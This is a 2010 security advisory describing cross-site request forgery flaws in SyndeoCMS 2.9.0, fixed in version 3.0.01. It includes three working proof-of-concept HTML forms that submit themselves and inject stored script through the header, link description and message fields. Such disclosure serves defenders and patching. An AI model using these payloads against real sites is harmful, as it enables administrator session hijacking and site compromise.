Cross-site Request Forgery (CSRF) Vulnerabilities in SyndeoCMS
Advisory ID: | HTB22491 |
Product: | SyndeoCMS |
Vendor: | The SyndeoCMS team |
Vulnerable Versions: | 2.9.0 and probably prior |
Tested Version: | 2.9.0 |
Advisory Publication: | July 12, 2010 [without technical details] |
Vendor Notification: | July 12, 2010 |
Public Disclosure: | July 26, 2010 |
Latest Update: | April 27, 2012 |
Vulnerability Type: | Cross-Site Request Forgery [CWE-352] |
Risk Level: | Medium |
| |
CVSSv2 Base Score: | 4 (AV:N/AC:H/Au:N/C:N/I:P/A:P) |
Solution Status: | Fixed by Vendor |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SyndeoCMS which could be exploited to perform cross-site request forgery attacks.
1) Cross-site request forgery (CSRF) in SyndeoCMS 1.1 The vulnerability exists due to insufficient validation of the request origin in starnet/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and chane website settings. Due to insufficient sanitation of input data in the “header” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/starnet/index.php?option=modulemanager&module=3&modoptio n=saveconfig" method="post" name="main" > <input type="hidden" name="general[0]" value="1" /> <input type="hidden" name="general[1]" value="#99FFFF" /> <input type="hidden" name="general[2]" value="900" /> <input type="hidden" name="general[3]" value="1" /> <input type="hidden" name="general[4]" value="#000066" /> <input type="hidden" name="header[1]" value="header4.php" /> <input type="hidden" name="header[2]" value="290" /> <input type="hidden" name="header[3]" value='starnet/media/header-bg.jpg"><script>alert(document.cookie)</script>' /> <input type="hidden" name="header[4]" value="Century Schoolbook" /> <input type="hidden" name="header[5]" value="55" /> <input type="hidden" name="header[6]" value="#FFFFFF" /> <input type="hidden" name="header[7]" value="0" /> <input type="hidden" name="header[0]" value="1" /> <input type="hidden" name="section[1]" value="section1.php" /> <input type="hidden" name="section[2]" value="#FF0000" /> <input type="hidden" name="section[3]" value="#99CC99" /> <input type="hidden" name="section[4]" value="#0099CC" /> <input type="hidden" name="section[5]" value="Arial" /> <input type="hidden" name="section[6]" value="14" /> <input type="hidden" name="section[7]" value="#FFFFFF" /> <input type="hidden" name="section[8]" value="100" /> <input type="hidden" name="section[9]" value="#0099CC" /> <input type="hidden" name="section[0]" value="1" /> <input type="hidden" name="status[1]" value="status3.php" /> <input type="hidden" name="status[2]" value="#FF33FF" /> <input type="hidden" name="status[3]" value="Arial" /> <input type="hidden" name="status[4]" value="10" /> <input type="hidden" name="status[5]" value="#CCFFCC" /> <input type="hidden" name="status[6]" value="Location:" /> <input type="hidden" name="status[7]" value="" /> <input type="hidden" name="status[8]" value="" /> <input type="hidden" name="status[9]" value="" /> <input type="hidden" name="status[0]" value="1" /> <input type="hidden" name="menu[1]" value="menu1.php" /> <input type="hidden" name="menu[2]" value="#CC66FF" /> <input type="hidden" name="menu[3]" value="#FF9966" /> <input type="hidden" name="menu[4]" value="#FF66FF" /> <input type="hidden" name="menu[5]" value="#CCCC99" /> <input type="hidden" name="menu[6]" value="Arial" /> <input type="hidden" name="menu[7]" value="14" /> <input type="hidden" name="menu[8]" value="#000000" /> <input type="hidden" name="menu[9]" value="starnet/themes/editable/arrow_blue.gif" /> <input type="hidden" name="menu[0]" value="1" /> <input type="hidden" name="content[0]" value="content1.php" /> <input type="hidden" name="content[1]" value="#FFFFFF" /> <input type="hidden" name="content[2]" value="#FFFF99" /> <input type="hidden" name="content[3]" value="630" /> <input type="hidden" name="content[4]" value="500" /> <input type="hidden" name="content[5]" value="Arial" /> <input type="hidden" name="content[6]" value="10" /> <input type="hidden" name="content[7]" value="#000000" /> <input type="hidden" name="content[8]" value="1" /> <input type="hidden" name="footer[1]" value="footer2.php" /> <input type="hidden" name="footer[2]" value="#003366" /> <input type="hidden" name="footer[3]" value="Arial" /> <input type="hidden" name="footer[4]" value="10" /> <input type="hidden" name="footer[5]" value="#FFFFFF" /> <input type="hidden" name="footer[6]" value="Page last changed:" /> <input type="hidden" name="footer[7]" value="25" /> <input type="hidden" name="footer[0]" value="1" /> <input type="hidden" name="savebutton" value=" Save" /> </form> <script> document.main.submit(); </script> 1.2 The vulnerability exists due to insufficient validation of the request origin in starnet/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit search engine settings. Due to insufficient sanitation of input data in the “link_description” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/starnet/index.php?option=modulemanager&module=2&modoptio n=save_link&suboption=&p age_id=3&link_id=2" method="post" name="main" > <input type="hidden" name="link_category" value="ICT"> <input type="hidden" name="link_title" value="Google"> <input type="hidden" name="link_url" value="http://www.google.com"> <input type="hidden" name="link_description" value='Search Engine."><script>alert(document.cookie)</script>'> <input type="hidden" name="link_sort" value="1"> <input type="hidden" name="page_id" value="3"> <input type="hidden" name="initial" value="1"> <input type="hidden" name="savebutton" value=" Save" > 1.3 The vulnerability exists due to insufficient validation of the request origin in starnet/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify website settings. Due to insufficient sanitation of input data in the “message” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/starnet/index.php?option=modulemanager&module=13&modopti on=save_message&suboptio n=&message_id=1&cat_id=4" method="post" name="main" > <input type="hidden" name="intro_message" value="Holiday"> <input type="hidden" name="days" value="0"> <input type="hidden" name="page_id" value="4"> <input type="hidden" name="name" value="Director"> <input type="hidden" name="date" value="09-07-2010"> <input type="hidden" name="message" value='Next week is a holiday so all the children are free"><script>alert(document.cookie)</script>' > <input type="hidden" name="savebutton" value=" Save"> </form> <script> document.main.submit(); </script> |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Upgrade to SyndeoCMS 3.0.01 More Information: http://www.syndeocms.org/index.php?section=2&page=4#24 http://sourceforge.net/projects/syndeocms/files/1.%20SyndeoCMS/Syndeocms-3.0.01.zip/download |
|
References: |
[1] High-Tech Bridge Advisory HTB22491 - https://www.immuniweb.com/advisory/HTB22491 - Cross-site Request Forgery (CSRF) Vulnerabilities in SyndeoCMS [2] SyndeoCMS - syndeocms.org - Syndeocms is a Content Management System (CMS) to manage and maintain the website of a primary school. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.